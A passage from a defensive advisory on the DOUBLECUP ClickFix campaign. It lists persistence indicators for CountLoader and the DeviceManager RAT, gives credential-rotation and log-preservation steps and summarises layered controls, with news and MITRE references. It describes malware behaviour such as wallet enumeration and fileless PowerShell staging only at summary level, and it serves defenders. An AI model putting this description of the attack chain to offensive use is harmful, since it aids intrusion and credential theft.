- `GoogleUpdateService` and `MSEdgeUpdateService` scheduled tasks
- WMI `root\subscription` objects such as `PythonAppUpdateFilter` and `PythonAppUpdateConsumer`
- macOS LaunchAgent plist files
- Embeddable Python in `USERPROFILE`

Review and rotate credentials stored in browser profiles, including crypto-wallet and service credentials. CountLoader enumerates and reports wallet-related extensions and software during its first C2 contact.

**Do:** Preserve PowerShell script-block logs, scheduled-task event logs including Event IDs 4698 and 4702, and WMI subscription objects before remediation. These are the primary forensic record when no executable payload remains on disk.

Control 1 removes the social-engineering hook. Controls 2 and 3 break execution and staging. Control 4 reduces the fileless PowerShell attack surface. Control 5 disrupts DeviceManager C2 discovery. Control 6 ensures all persistence forms are found and removed. No single control is sufficient; combined controls close the chain.

## Primary references

- [BleepingComputer: New DOUBLECUP ClickFix service hides malware in browser cache images](https://www.bleepingcomputer.com/news/security/new-doublecup-clickfix-service-hides-malware-in-browser-cache-images/) — Aug 2026
- [The Hacker News: DOUBLECUP uses ClickFix and cached PNGs to deliver CountLoader and DeviceManager RAT](https://thehackernews.com/2026/08/doublecup-uses-clickfix-and-cached-pngs.html) — Aug 2026
- [MITRE ATT&CK: T1480.001 — Execution Guardrails: Environmental Keying](https://attack.mitre.org/techniques/T1480/001/) — Current
- [MITRE ATT&CK: T1102.001 — Web Service: Dead Drop Resolver](https://attack.mitre.org/techniques/T1102/001/) — Current
- [Google Threat Intelligence: EtherHiding — blockchain-based C2 resolution technique](https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding) — Reference
- [ManageEngine Malware Protection Plus: DeviceManager RAT threat reference](https://www.manageengine.com/malware-protection/adversaries/devicemanager.html) — Aug 2026